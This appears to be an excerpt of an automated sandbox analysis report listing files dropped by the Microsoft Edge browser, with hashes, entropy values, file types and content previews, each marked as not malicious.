SHA-256:	79BA3ECE6A7DA08591CB4FBA488B10FB7F91D2F0E991D72551DFEA8E0F5DEA9B
SHA-512:	34325E445370C036598AF17CE53A0832C318827586B965315C837F23904AF9D8A2E310FE252CBA62F9502FF5FF0622A1ACF73DF6C3003D481E97BDF55B923805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39730.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090706644680187
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMhwuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF66tbz8hu3VlXr4CRo1
MD5:	2D16DFAD0966D10071FA1D35949A85D7
SHA1:	27ADADA8ABBFF8AB0340BB221087BE8B05499F45
SHA-256:	79BA3ECE6A7DA08591CB4FBA488B10FB7F91D2F0E991D72551DFEA8E0F5DEA9B
SHA-512:	34325E445370C036598AF17CE53A0832C318827586B965315C837F23904AF9D8A2E310FE252CBA62F9502FF5FF0622A1ACF73DF6C3003D481E97BDF55B923805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3be30.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090706644680187
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMhwuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF66tbz8hu3VlXr4CRo1
MD5:	2D16DFAD0966D10071FA1D35949A85D7
SHA1:	27ADADA8ABBFF8AB0340BB221087BE8B05499F45
SHA-256:	79BA3ECE6A7DA08591CB4FBA488B10FB7F91D2F0E991D72551DFEA8E0F5DEA9B
SHA-512:	34325E445370C036598AF17CE53A0832C318827586B965315C837F23904AF9D8A2E310FE252CBA62F9502FF5FF0622A1ACF73DF6C3003D481E97BDF55B923805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3fc91.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090706644680187
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMhwuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF66tbz8hu3VlXr4CRo1
MD5:	2D16DFAD0966D10071FA1D35949A85D7
SHA1:	27ADADA8ABBFF8AB0340BB221087BE8B05499F45
SHA-256:	79BA3ECE6A7DA08591CB4FBA488B10FB7F91D2F0E991D72551DFEA8E0F5DEA9B
SHA-512:	34325E445370C036598AF17CE53A0832C318827586B965315C837F23904AF9D8A2E310FE252CBA62F9502FF5FF0622A1ACF73DF6C3003D481E97BDF55B923805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4a7b6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090706644680187
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMhwuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF66tbz8hu3VlXr4CRo1
MD5:	2D16DFAD0966D10071FA1D35949A85D7
SHA1:	27ADADA8ABBFF8AB0340BB221087BE8B05499F45
SHA-256:	79BA3ECE6A7DA08591CB4FBA488B10FB7F91D2F0E991D72551DFEA8E0F5DEA9B
SHA-512:	34325E445370C036598AF17CE53A0832C318827586B965315C837F23904AF9D8A2E310FE252CBA62F9502FF5FF0622A1ACF73DF6C3003D481E97BDF55B923805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF505d3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090706644680187
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMhwuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF66tbz8hu3VlXr4CRo1
MD5:	2D16DFAD0966D10071FA1D35949A85D7
SHA1:	27ADADA8ABBFF8AB0340BB221087BE8B05499F45
SHA-256:	79BA3ECE6A7DA08591CB4FBA488B10FB7F91D2F0E991D72551DFEA8E0F5DEA9B
SHA-512:	34325E445370C036598AF17CE53A0832C318827586B965315C837F23904AF9D8A2E310FE252CBA62F9502FF5FF0622A1ACF73DF6C3003D481E97BDF55B923805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.989855910838759
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVuKcVY4Y:YWLSGTt1o9LuLgfGBPAzkVj/T8lMHrY
MD5:	231C93ECBBADADD6E594E4D97045F997
SHA1:	C9203FAE444896431CE4411A186225AF91958606
SHA-256:	F3A290B1AD3C14C2610DEB40D9D403F9C0C0E805D80D27D548F05605C9E5F773
SHA-512:	55C0B251D230D200C13F3F743835DA251F62C076B3B98714D9CCD9532CF7D5CA62830B5732AE76F8828AA012BF183F01BACD61BE257CCEF614AFB47801472C4A
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730331313712290}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
